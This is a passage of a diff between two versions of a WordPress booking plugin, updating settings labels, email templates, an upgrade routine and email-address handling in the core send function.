 				'mv_store_post_content'			=> array( '', __('Default Page Content', 'wp-base'), __('Content of the store page, typically including <code>[app_book]</code> shortcode in order to let clients book their services. Only services of this store are selectable from this shortcode.', 'wp-base'), 'Marketplace' ),
 				'mv_store_post_title'			=> array( 'COMPANY_NAME', __('Default Page Title', 'wp-base'), __('Title of the store page. Placeholders COMPANY_NAME and VENDOR_NAME will be replaced by vendor data.', 'wp-base'), 'Marketplace' ),
 				'mv_store_post_type'			=> array( 'post', __('Post Type for Store Pages', 'wp-base'), __('Post type that will be used for stores. A CPT is recommended, e.g. Place', 'wp-base' ), 'Marketplace' ),
-				'mv_enable_approved'			=> array( 'no', __('Enable Approved Status', 'wp-base'), __('Whether to use Approved status.', 'wp-base'), 'Marketplace' ),
 				'mv_um_account_page'			=> array( '', __('Account Page (only for UM)', 'wp-base'), __('UM Account Page may have a Bookings item to redirect to WP BASE Account page. The page which includes <code>[app_account]</code> should be selected here.', 'wp-base'), 'Marketplace' ),
 				'mv_use_wc_cart'				=> array( 'no', __('Use WooCommerce Cart for Payment', 'wp-base'), sprintf( __('When you enable WooCommerce cart, payments will be handled with WooCommerce checkout system even if bio page is not a WooCommerce product CPT. WooCommerce plugin and WP BASE WooCommerce Integration addon must be activated. Also see %s.', 'wp-base'), '<a href="'.admin_url( 'admin.php?page=app_settings&tab=advanced#woocommerce' ).'">'.__( 'WooCommerce settings', 'wp-base' ).'</a>'), 'Marketplace' ),
 				'mv_usership'					=> array( '', __('User Profile Plugin Integration', 'wp-base'), __('Select the user profile plugin you want to integrate from the list. With this integration, vendor can be directly booked from profile page of the user profile plugin.', 'wp-base'), 'Marketplace' ),
@@ -570,9 +583,13 @@
 				'reminder_time_sms_worker'		=> array( '4', __('Reminder SMS Sending Time for the Provider (hours)', 'wp-base'), __('Same as Reminder SMS Sending Time for the Client, but defines the time for service provider.', 'wp-base'), 'SMS' ),
 				'reminder_time_worker'			=> array( '4', __('Reminder email Sending Time for the Provider (hours)', 'wp-base'), __('Same as Reminder email Sending Time for the Client, but defines the time for service provider.', 'wp-base'), 'Reminder and Follow-up emails' ),
 				'reverse_log'					=> array( 'yes', __('Reverse Log', 'wp-base'), sprintf( __('Select "Yes" to reverse the display order of records in %s, from newest to oldest.', 'wp-base' ), '<a class="app-btm" href="'.admin_url("admin.php?page=app_tools&tab=log").'">'.__('log file').'</a>' ) ),
+				'schedule_allowed_stats_client'	=> array( 'paid,confirmed,pending,running,completed,removed', __('Allowed Booking Statuses (Client)', 'wp-base'), __('Clients can select only these booking statuses to be displayed in their schedules', 'wp-base') ),
+				'schedule_allowed_stats'		=> array( 'paid,confirmed,pending,running,completed,removed', __('Allowed Booking Statuses (Provider)', 'wp-base'), __('Service providers can select only these booking statuses to be displayed in their schedules', 'wp-base') ),
+				'schedule_clear_cache'			=> array( 'no', __('Clear Schedules Cache', 'wp-base'), __('To Clear the cache, set "Yes". After save and cache cleared, this setting will automatically turn back to "No".', 'wp-base') ),
+				'schedule_client_can'			=> array( 'yes', __('Clients can Use Schedules', 'wp-base'), __('Whether allow clients use Schedules', 'wp-base') ),
 				'schedule_desc_admin'			=> array( self::$_schedule_desc_admin, __('Template for Schedule (Admin)', 'wp-base'), sprintf( __('Bookings in %1$s will be displayed to admin according to this template. <abbr title="%2$s">Booking placeholders</abbr> will be replaced by their real values.', 'wp-base'), '<a class="app-btm" href="'.admin_url("admin.php?page=app_schedules").'">'.__('Booking Schedules').'</a>', WpBConstant::email_desc(1) ) ),
+				'schedule_desc_client'			=> array( self::$_schedule_desc_client, __('Template for Schedule (Client)', 'wp-base'), sprintf( __('Bookings in %1$s will be displayed to the client according to this template. <abbr title="%2$s">Booking placeholders</abbr> will be replaced by their real values.', 'wp-base'), '<a class="app-btm" href="'.admin_url("admin.php?page=app_schedules").'">'.__('Booking Schedules').'</a>', WpBConstant::email_desc(1) ) ),
 				'schedule_desc_worker'			=> array( self::$_schedule_desc_worker, __('Template for Schedule (Provider)', 'wp-base'), sprintf( __('Bookings in %1$s will be displayed to service provider according to this template. <abbr title="%2$s">Booking placeholders</abbr> will be replaced by their real values.', 'wp-base'), '<a class="app-btm" href="'.admin_url("admin.php?page=app_schedules").'">'.__('Booking Schedules').'</a>', WpBConstant::email_desc(1) ) ),
-				'schedule_allowed_stats'		=> array( 'paid,confirmed,pending,running,completed,removed', __('Allowed Booking Statuses (Provider)', 'wp-base'), __('Service providers can select only these booking statuses to be displayed in their schedules', 'wp-base') ),
 				'schedule_show_images'			=> array( 'yes', __('Show Profile Images', 'wp-base'), __('Whether show service provider profile images in the Schedules', 'wp-base') ),
 				'send_approved'					=> array( 'yes', __('Send Approved email', 'wp-base'), __('Whether to send an email after vendor application automatically approved. Note: Admin can always send manual email on Vendors page.', 'wp-base' ), 'Marketplace' ),
 				'send_cancellation'				=> array( 'yes', __('Send Cancellation email (Single)', 'wp-base'), __('Whether to send an email after cancellation of the booking. Note: Admin and service provider will also get a copy as separate emails.', 'wp-base' ) ),
@@ -581,23 +598,24 @@
 				'send_cancellation_sms_admin'	=> array( 'yes', __('Send Cancellation SMS (Admin)', 'wp-base'), __('Whether to send an SMS after cancellation of the appointment.', 'wp-base'), 'SMS' ),
 				'send_cancellation_sms_bulk'	=> array( 'no', __('Send Cancellation SMS (Bulk)', 'wp-base'), __('Same as above but whether to send SMS messages to clients when "bulk" status change of removed is applied to bookings on admin side.', 'wp-base'), 'SMS' ),
 				'send_cancellation_sms_worker'	=> array( 'yes', __('Send Cancellation SMS (Provider)', 'wp-base'), __('Whether to send an SMS after cancellation of the appointment.', 'wp-base'), 'SMS' ),
+				'send_commission_paid'			=> array( 'yes', __('Send Commission Paid email', 'wp-base'), __('Whether to send an email after a commission is paid to the vendor.', 'wp-base' ), 'Marketplace' ),
 				'send_completed'				=> array( 'no', __('Send Completed email (Single)', 'wp-base'), __('Whether to send an email after an appointment has been completed.', 'wp-base' ) ),
 				'send_completed_bulk'			=> array( 'no', __('Send Completed email (Bulk)', 'wp-base'), __('Send email to the client(s) when "bulk" status change of completed is applied to bookings on admin side. ', 'wp-base' ) ),
 				'send_completed_sms'			=> array( 'no', __('Send Completed SMS', 'wp-base'), __('Whether to send an SMS after an appointment has been completed.', 'wp-base'), 'SMS' ),
 				'send_completed_sms_admin'		=> array( 'no', __('Send Completed SMS (Admin)', 'wp-base'), __('Whether to send an SMS after an appointment has been completed.', 'wp-base'), 'SMS' ),
 				'send_completed_sms_bulk'		=> array( 'no', __('Send Completed SMS (Bulk)', 'wp-base'), __('Send SMS to the client(s) when "bulk" status change of completed is applied to bookings on admin side. ', 'wp-base'), 'SMS' ),
 				'send_completed_sms_worker'		=> array( 'no', __('Send Completed SMS (Provider)', 'wp-base'), __('Whether to send an SMS after an appointment has been completed.', 'wp-base'), 'SMS' ),
-				'send_confirmation'				=> array( 'yes', __('Send Confirmation email (Single)', 'wp-base'), __('Whether to send an email after confirmation of the booking. Note: Admin and service provider will also get a copy as separate emails.', 'wp-base' ) ),
-				'send_confirmation_bulk'		=> array( 'no', __('Send Confirmation email (Bulk)', 'wp-base'), __('Send Confirmation email to the client(s) when "bulk" status change of confirmed or paid is applied to bookings on admin side. ', 'wp-base' ) ),
+				'send_confirmation'				=> array( 'yes', __('Send Confirmation Email (Single)', 'wp-base'), __('Whether to send an email after confirmation of the booking. Note: Admin and service provider will also get a copy as separate emails.', 'wp-base' ) ),
+				'send_confirmation_bulk'		=> array( 'no', __('Send Confirmation Email (Bulk)', 'wp-base'), __('Send Confirmation Email to the client(s) when "bulk" status change of confirmed or paid is applied to bookings on admin side. ', 'wp-base' ) ),
 				'send_confirmation_sms'			=> array( 'yes', __('Send Confirmation SMS', 'wp-base'), __('Whether to send an SMS after confirmation of the booking.', 'wp-base'), 'SMS' ),
 				'send_confirmation_sms_admin'	=> array( 'yes', __('Send Confirmation SMS (Admin)', 'wp-base'), __('Whether to send an SMS after confirmation of the booking.', 'wp-base'), 'SMS' ),
 				'send_confirmation_sms_bulk'	=> array( 'no', __('Send Confirmation SMS (Bulk)', 'wp-base'), __('Send Confirmation SMS to the client(s) when "bulk" status change of confirmed or paid is applied to bookings on admin side. ', 'wp-base'), 'SMS' ),
 				'send_confirmation_sms_worker'	=> array( 'yes', __('Send Confirmation SMS (Provider)', 'wp-base'), __('Whether to send an SMS after confirmation of the booking.', 'wp-base'), 'SMS' ),
 				'send_dp_reminder'				=> array( 'yes', __('Send Due Payment Reminder email to the Client', 'wp-base'), __('Whether to send due payment reminder email(s) to the clients in intervals selected below. This email is only sent for the selected booking statuses when balance (total payments minus total price for the appointment) is negative and its absolute value is greater than the amount selected below.', 'wp-base'), 'Reminder and Follow-up emails' ),
 				'send_follow_up'				=> array( 'yes', __('Send Follow-up email to the Client', 'wp-base'), __('Whether to send follow-up email(s) to the client', 'wp-base'), 'Reminder and Follow-up emails' ),
-				'send_notification'				=> array( 'yes', __('Send Pending email to Admin', 'wp-base'), __('You may want to receive a notification email whenever a new appointment is made from front end in pending status. This email is only sent if your approval is required. Note: Notification email is also sent to the service provider, if they are allowed to confirm. That is, "Allow Service Provider Confirm Own Appointments" is set as Yes.', 'wp-base' ) ),
-				'send_pending'					=> array( 'yes', __('Send Pending email to the Client (Single)', 'wp-base'), __('Whether to send an email after a booking has been made in pending status.', 'wp-base' ) ),
-				'send_pending_bulk'				=> array( 'no', __('Send Pending email to the Client (Bulk)', 'wp-base'), __('Send email to the client(s) when "bulk" status change of pending is applied to bookings on admin side. ', 'wp-base' ) ),
+				'send_notification'				=> array( 'yes', __('Send Pending Email to Admin', 'wp-base'), __('You may want to receive a notification email whenever a new appointment is made from front end in pending status. This email is only sent if your approval is required. Note: Notification email is also sent to the service provider, if they are allowed to confirm. That is, "Allow Service Provider Confirm Own Appointments" is set as Yes.', 'wp-base' ) ),
+				'send_pending'					=> array( 'yes', __('Send Pending Email to the Client (Single)', 'wp-base'), __('Whether to send an email after a booking has been made in pending status.', 'wp-base' ) ),
+				'send_pending_bulk'				=> array( 'no', __('Send Pending Email to the Client (Bulk)', 'wp-base'), __('Send email to the client(s) when "bulk" status change of pending is applied to bookings on admin side. ', 'wp-base' ) ),
 				'send_pending_sms'				=> array( 'yes', __('Send Pending SMS', 'wp-base'), __('Whether to send an SMS after a booking has been made in pending status.', 'wp-base'), 'SMS' ),
 				'send_pending_sms_admin'		=> array( 'yes', __('Send Pending SMS (Admin)', 'wp-base'), __('Whether to send an SMS after a booking has been made in pending status.', 'wp-base'), 'SMS' ),
 				'send_pending_sms_bulk'			=> array( 'no', __('Send Pending SMS (Bulk)', 'wp-base'), __('Send SMS to the client(s) when "bulk" status change of pending is applied to bookings on admin side. ', 'wp-base'), 'SMS' ),
@@ -681,66 +699,68 @@
 			);
 
 			$default_templates = array(
-				'approved_subject'				=> array( __('Your application to SITE_NAME approved!','wp-base'), __('Approved email Subject', 'wp-base'), __('Subject of email which is sent to the applicant informing that their application has been approved', 'wp-base'), 'Marketplace' ),
-				'approved_message'				=> array( self::$_approved_message, __('Approved email Message', 'wp-base'), __('CLIENT, HOME_URL, SITE_NAME, PAGE_LINK (Link to vendor bio page) placeholders can be used.', 'wp-base'), 'Marketplace' ),
+				'approved_subject'				=> array( __('Your application to SITE_NAME approved!','wp-base'), __('Approved Email Subject', 'wp-base'), __('Subject of email which is sent to the applicant informing that their application has been approved', 'wp-base'), 'Marketplace' ),
+				'approved_message'				=> array( self::$_approved_message, __('Approved Email Message', 'wp-base'), __('CLIENT, HOME_URL, SITE_NAME, PAGE_LINK (Link to vendor bio page) placeholders can be used.', 'wp-base'), 'Marketplace' ),
 				'cancellation_attachment'		=> array( '', __('Cancellation email Attachment Text', 'wp-base'), __('Contents of PDF file. HTML allowed and will be formatted with related css rules.', 'wp-base'), 'PDF' ),
 				'cancellation_css'				=> array( '', __('css Codes for Attachment pdf File', 'wp-base'), __( 'Important: Only css for block elements (p, div, table, td, tr, etc) are allowed.', 'wp-base' ), 'PDF' ),
-				'cancellation_message'			=> array( self::$_cancellation_message, __('Cancellation email Message', 'wp-base'), '' ),
+				'cancellation_message'			=> array( self::$_cancellation_message, __('Cancellation Email Message', 'wp-base'), '' ),
 				'cancellation_message_sms'		=> array( self::$_cancellation_message_sms, __('Cancellation SMS Message', 'wp-base'), '', 'SMS' ),
 				'cancellation_message_sms_admin'=> array( self::$_cancellation_message_sms_admin, __('Cancellation SMS Message (Admin)', 'wp-base'), '', 'SMS' ),
 				'cancellation_message_sms_worker'=> array( self::$_cancellation_message_sms_admin, __('Cancellation SMS Message (Provider)', 'wp-base'), '', 'SMS' ),
 				'cancellation_subject'			=> array( __('Your appointment has been cancelled','wp-base'), __('Cancellation Email Subject', 'wp-base'), '' ),
+				'commission_paid_subject'		=> array( __('Good news! You received a payment from SITE_NAME','wp-base'), __('Commission Paid Email Subject', 'wp-base'), __('Subject of email which informs vendor that a commission payment has been made', 'wp-base'), 'Marketplace' ),
+				'commission_paid_message'		=> array( self::$_commission_paid_message, __('Commission Paid Email Message', 'wp-base'), __('This email template is used when a payment is sent to vendor. VENDOR, HOME_URL, SITE_NAME, PAGE_LINK (Link to vendor bio page), AMOUNT placeholders can be used which will be replaced with their real values..', 'wp-base'), 'Marketplace' ),
 				'completed_attachment'			=> array( '', __('Completed email Attachment Text', 'wp-base'), __('Contents of PDF file. HTML allowed and will be formatted with related css rules.', 'wp-base'), 'PDF' ),
 				'completed_css'					=> array( '', __('css Codes for Attachment pdf File', 'wp-base'), __( 'Important: Only css for block elements (p, div, table, td, tr, etc) are allowed.', 'wp-base' ), 'PDF' ),
-				'completed_message'				=> array( self::$_completed_message, __('Completed email Message', 'wp-base'), '' ),
+				'completed_message'				=> array( self::$_completed_message, __('Completed Email Message', 'wp-base'), '' ),
 				'completed_message_sms'			=> array( self::$_completed_message_sms, __('Completed SMS Message', 'wp-base'), '', 'SMS' ),
 				'completed_message_sms_admin'	=> array( self::$_completed_message_sms_admin, __('Completed SMS Message (Admin)', 'wp-base'), '', 'SMS' ),
 				'completed_message_sms_worker'	=> array( self::$_completed_message_sms_admin, __('Completed SMS Message (Provider)', 'wp-base'), '', 'SMS' ),
-				'completed_subject'				=> array( __('Your appointment has been completed','wp-base'), __('Completed email Subject', 'wp-base'), '' ),
+				'completed_subject'				=> array( __('Your appointment has been completed','wp-base'), __('Completed Email Subject', 'wp-base'), '' ),
 				'confirmation_attachment'		=> array( '', __('Confirmation email Attachment Text', 'wp-base'), __('Contents of PDF file. HTML allowed and will be formatted with related css rules.', 'wp-base'), 'PDF' ),
 				'confirmation_css'				=> array( '', __('css Codes for Attachment pdf File', 'wp-base'), __( 'Important: Only css for block elements (p, div, table, td, tr, etc) are allowed.', 'wp-base' ), 'PDF' ),
-				'confirmation_message'			=> array( self::$_confirmation_message, __('Confirmation email Message', 'wp-base'), '' ),
+				'confirmation_message'			=> array( self::$_confirmation_message, __('Confirmation Email Message', 'wp-base'), '' ),
 				'confirmation_message_sms'		=> array( self::$_confirmation_message_sms, __('Confirmation SMS Message', 'wp-base'), '' ),
 				'confirmation_message_sms_admin'=> array( self::$_confirmation_message_sms_admin, __('Confirmation SMS Message (Admin)', 'wp-base'), '', 'SMS' ),
 				'confirmation_message_sms_worker'=> array( self::$_confirmation_message_sms_admin, __('Confirmation SMS Message (Provider)', 'wp-base'), '', 'SMS' ),
 				'confirmation_subject'			=> array( __('Confirmation of your appointment','wp-base'), __('Confirmation Email Subject', 'wp-base'), '' ),
 				'confirmation_text'				=> array( self::$_confirmation_text, __('Confirmation Message Dialog Content', 'wp-base'), sprintf( __('This will be displayed to the client in a dialog pop-up after confirmed or paid bookings. All <abbr title="%s">booking placeholders</abbr> can be used. If left empty, a plain javascript message will be displayed instead (see appointment_received in Custom Texts).','wp-base'), WpBConstant::email_desc(1) ) ),
 				'confirmation_title'			=> array( 'Confirmation of Your Booking', __('Confirmation Message Dialog Title', 'wp-base'), __('Title of the confirmation pop-up which will be displayed to the client after confirmed or paid bookings.','wp-base') ),
-				'declined_subject'				=> array( __('Your application declined', 'wp-base'), __('Declined email Subject', 'wp-base'), __('Subject of email which is sent to the applicant informing that their application has been declined', 'wp-base'), 'Marketplace' ),
-				'declined_message'				=> array( self::$_declined_message, __('Declined email Message', 'wp-base'), __('CLIENT, HOME_URL, SITE_NAME placeholders can be used.', 'wp-base'), 'Marketplace' ),
+				'declined_subject'				=> array( __('Your application declined', 'wp-base'), __('Declined Email Subject', 'wp-base'), __('Subject of email which is sent to the applicant informing that their application has been declined', 'wp-base'), 'Marketplace' ),
+				'declined_message'				=> array( self::$_declined_message, __('Declined Email Message', 'wp-base'), __('CLIENT, HOME_URL, SITE_NAME placeholders can be used.', 'wp-base'), 'Marketplace' ),
 				'dp_reminder_attachment'		=> array( '', __('Due Payment Reminder email Attachment Text', 'wp-base'), __('Contents of PDF file. HTML allowed and will be formatted with related css rules.', 'wp-base'), 'PDF' ),
 				'dp_reminder_css'				=> array( '', __('css Codes for Attachment pdf File', 'wp-base'), __( 'Important: Only css for block elements (p, div, table, td, tr, etc) are allowed.', 'wp-base' ), 'PDF' ),
-				'dp_reminder_message'			=> array( self::$_dp_reminder_message, __('Due Payment Reminder email Message', 'wp-base'), '', 'Reminder and Follow-up emails' ),
-				'dp_reminder_subject'			=> array( __('Due Payment Reminder','wp-base'), __('Due Payment Reminder email Subject', 'wp-base'), '', 'Reminder and Follow-up emails' ),
+				'dp_reminder_message'			=> array( self::$_dp_reminder_message, __('Due Payment Reminder Email Message', 'wp-base'), '', 'Reminder and Follow-up emails' ),
+				'dp_reminder_subject'			=> array( __('Due Payment Reminder','wp-base'), __('Due Payment Reminder Email Subject', 'wp-base'), '', 'Reminder and Follow-up emails' ),
 				'follow_up_attachment'			=> array( '', __('Follow up email Attachment Text', 'wp-base'), __('Contents of PDF file. HTML allowed and will be formatted with related css rules.', 'wp-base'), 'PDF' ),
 				'follow_up_css'					=> array( '', __('css Codes for Attachment pdf File', 'wp-base'), __( 'Important: Only css for block elements (p, div, table, td, tr, etc) are allowed.', 'wp-base' ), 'PDF' ),
-				'follow_up_message'				=> array( self::$_follow_up_message, __('Follow-up email Message', 'wp-base'), '', 'Reminder and Follow-up emails' ),
-				'follow_up_subject'				=> array( __('Warmest greetings from SITE_NAME','wp-base'), __('Follow-up email Subject', 'wp-base'), '', 'Reminder and Follow-up emails' ),
+				'follow_up_message'				=> array( self::$_follow_up_message, __('Follow-up Email Message', 'wp-base'), '', 'Reminder and Follow-up emails' ),
+				'follow_up_subject'				=> array( __('Warmest greetings from SITE_NAME','wp-base'), __('Follow-up Email Subject', 'wp-base'), '', 'Reminder and Follow-up emails' ),
 				'pending_attachment'			=> array( '', __('Pending email Attachment Text', 'wp-base'), __('Contents of PDF file. HTML allowed and will be formatted with related css rules.', 'wp-base'), 'PDF' ),
 				'pending_css'					=> array( '', __('css Codes for Attachment pdf File', 'wp-base'), __( 'Important: Only css for block elements (p, div, table, td, tr, etc) are allowed.', 'wp-base' ), 'PDF' ),
-				'pending_message'				=> array( self::$_pending_message, __('Pending email Message', 'wp-base'), '' ),
+				'pending_message'				=> array( self::$_pending_message, __('Pending Email Message', 'wp-base'), '' ),
 				'pending_message_sms'			=> array( self::$_pending_message_sms, __('Pending SMS Message', 'wp-base'), '', 'SMS' ),
 				'pending_message_sms_admin'		=> array( self::$_pending_message_sms_admin, __('Pending SMS Message (Admin)', 'wp-base'), '', 'SMS' ),
 				'pending_message_sms_worker'	=> array( self::$_pending_message_sms_admin, __('Pending SMS Message (Provider)', 'wp-base'), '', 'SMS' ),
-				'pending_subject'				=> array( __('We have received your booking','wp-base'), __('Pending email Subject', 'wp-base'), '' ),
+				'pending_subject'				=> array( __('We have received your booking','wp-base'), __('Pending Email Subject', 'wp-base'), '' ),
 				'pending_text'					=> array( self::$_pending_message, __('Pending Message Dialog Content', 'wp-base'), sprintf( __('This will be displayed to the client in a dialog pop-up after pending bookings. All <abbr title="%s">booking placeholders</abbr> can be used. If left empty, a plain javascript message will be displayed instead (see appointment_received in Custom Texts).','wp-base'), WpBConstant::email_desc(1) ) ),
 				'pending_title'					=> array( 'We have received your submission', __('Pending Message Dialog Title', 'wp-base'), __('Title of the pending pop-up which will be displayed to the client when an appointment submission is received in pending status.','wp-base') ),
 				'reminder_attachment'			=> array( '', __('Reminder email Attachment Text', 'wp-base'), __('Contents of PDF file. HTML allowed and will be formatted with related css rules.', 'wp-base'), 'PDF' ),
 				'reminder_css'					=> array( '', __('css Codes for Attachment pdf File', 'wp-base'), __( 'Important: Only css for block elements (p, div, table, td, tr, etc) are allowed.', 'wp-base' ), 'PDF' ),
-				'reminder_message'				=> array( self::$_reminder_message, __('Reminder email Message', 'wp-base'), '', 'Reminder and Follow-up emails' ),
+				'reminder_message'				=> array( self::$_reminder_message, __('Reminder Email Message', 'wp-base'), '', 'Reminder and Follow-up emails' ),
 				'reminder_message_sms'			=> array( self::$_reminder_message_sms, __('Reminder SMS Message', 'wp-base'), '', 'SMS' ),
 				'reminder_message_sms_worker'	=> array( self::$_reminder_message_sms_worker, __('Reminder SMS Message (Provider)', 'wp-base'), '', 'SMS' ),
-				'reminder_subject'				=> array( __('Reminder for your appointment on DATE_TIME','wp-base'), __('Reminder email Subject', 'wp-base'), '', 'Reminder and Follow-up emails' ),
+				'reminder_subject'				=> array( __('Reminder for your appointment on DATE_TIME','wp-base'), __('Reminder Email Subject', 'wp-base'), '', 'Reminder and Follow-up emails' ),
 				'terms_text'					=> array( self::$_terms, __('Dialog Content', 'wp-base'), __('Terms & Conditions text. SITE_NAME and HOME_URL placeholders will be replaced by their actual values.','wp-base' ) ),
 				'terms_title'					=> array( 'Terms & Conditions', __('Dialog Title', 'wp-base'), __('Title of the pop-up which displays terms and conditions.','wp-base') ),
-				'validation_subject'			=> array( __('Activation for SITE_NAME','wp-base'), __('Validation email Subject', 'wp-base'), __('Subject of email which is sent to vendor in order to validate their email address and activate their account', 'wp-base'), 'Marketplace' ),
-				'validation_message'			=> array( self::$_validation_message, __('Validation email Message', 'wp-base'), __('Must include ACTIVATE placeholder which will be replaced with activation link. CLIENT, HOME_URL, SITE_NAME placeholders can also be used.', 'wp-base'), 'Marketplace' ),
-				'vendor_pending_subject'		=> array( __('Your application to SITE_NAME has been received','wp-base'), __('Vendor Pending email Subject', 'wp-base'), __('Subject of email which informs vendor that application has been received and in pending status', 'wp-base'), 'Marketplace' ),
-				'vendor_pending_message'		=> array( self::$_vendor_pending_message, __('Vendor Pending email Message', 'wp-base'), __('This email template is used when user application is in pending status. CLIENT, HOME_URL, SITE_NAME, PAGE_LINK (Link to vendor bio page) placeholders can be used.', 'wp-base'), 'Marketplace' ),
-				'waiting_list_message'			=> array( self::$_waiting_list_message, __('Submission Received email Message', 'wp-base'), __('Body of email which informs client that their submission has been added to the waiting list.','wp-base') ),
-				'waiting_list_notify_message'	=> array( self::$_waiting_list_notify_message, __('Notification email Message', 'wp-base'), __('Body of email which informs client that there is an opening for the requested time slot. CLAIM should be included in the message so that client can confirm their request is still valid.','wp-base') ),
-				'waiting_list_notify_subject'	=> array( __('Urgent action required for SITE_NAME','wp-base'), __('Notification email Subject', 'wp-base'), __('Subject of email which informs client that there is an opening for the requested time slot.','wp-base') ),
-				'waiting_list_subject'			=> array( __('Your Booking has been added to SITE_NAME waiting list','wp-base'), __('Submission Received email Subject', 'wp-base'), __('Subject of email which informs client that their submission has been added to the waiting list.','wp-base') ),
+				'validation_subject'			=> array( __('Activation for SITE_NAME','wp-base'), __('Validation Email Subject', 'wp-base'), __('Subject of email which is sent to vendor in order to validate their email address and activate their account', 'wp-base'), 'Marketplace' ),
+				'validation_message'			=> array( self::$_validation_message, __('Validation Email Message', 'wp-base'), __('Must include ACTIVATE placeholder which will be replaced with activation link. CLIENT, HOME_URL, SITE_NAME placeholders can also be used.', 'wp-base'), 'Marketplace' ),
+				'vendor_pending_subject'		=> array( __('Your application to SITE_NAME has been received','wp-base'), __('Vendor Pending Email Subject', 'wp-base'), __('Subject of email which informs vendor that application has been received and in pending status', 'wp-base'), 'Marketplace' ),
+				'vendor_pending_message'		=> array( self::$_vendor_pending_message, __('Vendor Pending Email Message', 'wp-base'), __('This email template is used when user application is in pending status. CLIENT, HOME_URL, SITE_NAME, PAGE_LINK (Link to vendor bio page) placeholders can be used.', 'wp-base'), 'Marketplace' ),
+				'waiting_list_message'			=> array( self::$_waiting_list_message, __('Submission Received Email Message', 'wp-base'), __('Body of email which informs client that their submission has been added to the waiting list.','wp-base') ),
+				'waiting_list_notify_message'	=> array( self::$_waiting_list_notify_message, __('Notification Email Message', 'wp-base'), __('Body of email which informs client that there is an opening for the requested time slot. CLAIM should be included in the message so that client can confirm their request is still valid.','wp-base') ),
+				'waiting_list_notify_subject'	=> array( __('Urgent action required for SITE_NAME','wp-base'), __('Notification Email Subject', 'wp-base'), __('Subject of email which informs client that there is an opening for the requested time slot.','wp-base') ),
+				'waiting_list_subject'			=> array( __('Your Booking has been added to SITE_NAME waiting list','wp-base'), __('Submission Received Email Subject', 'wp-base'), __('Subject of email which informs client that their submission has been added to the waiting list.','wp-base') ),
 
 			);
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/core.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/core.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/core.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/core.php	2026-03-10 03:42:22.000000000 +0000
@@ -418,6 +418,10 @@
 			if ( '0.0' != $prev_ver && version_compare( $prev_ver, '5.1', '<' ) ) {

 				wpb_upgrade_510();

 			}

+			

+			if ( '0.0' != $prev_ver && version_compare( $prev_ver, '5.9.9', '<' ) ) {

+				wpb_upgrade_600();

+			}			

 

 			do_action( 'app_installed', $current_ver, $prev_ver );

 

@@ -2687,7 +2691,7 @@
 	}

 

 	/**

-	 * Number of *days* that an appointment can be taken (Upper Limit)

+	 * Number of *days* that a booking can be made (Upper Limit)

 	 * @param start_ts: Optionally calculate limit based on timestamp of selected time slot (just passed to the filter)

 	 * @return integer

 	 */

@@ -2918,21 +2922,20 @@
 			return false;

 		}

 

-		// If there is no valid user email try to find one from user data

+		$valid_email = '';

 		$maybe_email = wpb_get_app_meta( $app_id, 'email' );

 

+		// If there is no valid user email try to find one from user data

 		if ( ! is_email( $maybe_email ) ) {

-			$email_found = false;

 

 			if ( $r->user ) {

 				$app_user = BASE('User')->get_app_userdata( 0, $r->user );

 				if ( isset( $app_user['email'] ) ) {

-					$r->email = $app_user['email'];

-					$email_found = true;

+					$valid_email = $app_user['email'];

 				}

 			}

 

-			if ( ! $email_found ) {

+			if ( ! $valid_email ) {

 				if ( wpb_is_admin() ) {

 					wpb_log_email( sprintf( __('No valid email is defined for booking #%s','wp-base'), $r->ID ) );

 				}

@@ -2941,7 +2944,7 @@
 				return false;

 			}

 		} else {

-			$r->email = $maybe_email;

+			$valid_email = $maybe_email;

 		}

 

 		$subject = $this->_replace(

@@ -2957,7 +2960,7 @@
 		$attach = apply_filters( 'app_email_attachment', array(), $r, $context );

 

 		$mail_result = wp_mail(

-			apply_filters( 'app_send_email_client_email', array( $r->email ), $body, $r, $app_id, $context, $resend, $edit ),

+			apply_filters( 'app_send_email_client_email', array( $valid_email ), $body, $r, $app_id, $context, $resend, $edit ),

 			$subject,

 			$body,

 			$this->message_headers( $context, $r ),

@@ -2985,7 +2988,7 @@
 				wpb_log_email( sprintf(

 					__('%1$s message resent to %2$s for booking #%3$s','wp-base'),

 					ucwords($context_local),

-					$r->email,

+					$valid_email,

 					$app_id

 				) );

 

@@ -2995,7 +2998,7 @@
 			wpb_log_email( sprintf(

 				__('%1$s message sent to %2$s for booking #%3$s','wp-base'),

 				ucwords($context_local),

-				$r->email,

+				$valid_email,

 				$app_id

 			) );

 

@@ -3093,7 +3096,7 @@
 				return false;

 			}

 		} else {

-			wpb_log_email( sprintf( __('Message sending to %s for booking #%s has failed.','wp-base'), $r->email, $app_id ) );

+			wpb_log_email( sprintf( __('Message sending to %s for booking #%s has failed.','wp-base'), $valid_email, $app_id ) );

 			do_action( 'app_email_failed', $body, $r, $app_id, $context, $resend, $edit );

 		}

 	}

@@ -3450,7 +3453,7 @@
 				continue;

 			}

 

-			if ( 'edit' == $action && ( ! BASE('FEE') || BASE('FEE')->is_too_late( $r ) ) ) {

+			if ( 'edit' == $action && wpb_edit_is_too_late( $r ) ) {

 				continue;

 			} else if ( 'cancel' == $action && BASE('Cancel')->is_too_late( $r ) ) {

 				continue;

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/custom-texts.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/custom-texts.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/custom-texts.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/custom-texts.php	2026-03-10 03:42:22.000000000 +0000
@@ -144,18 +144,26 @@
 			$this->help_texts = array(
 					'action'								=> __('Column header of Action for Bookings shortcode', 'wp-base' ),
 					'address'								=> __('Title for Address field in the confirmation form and user page','wp-base'),
-					'address_placeholder'					=> __('Placeholder for Address field in the confirmation form','wp-base'),
 					'add_to_cart'							=> __('Button text to add a product to shopping cart of WooCommerce or EDD', 'wp-base'),
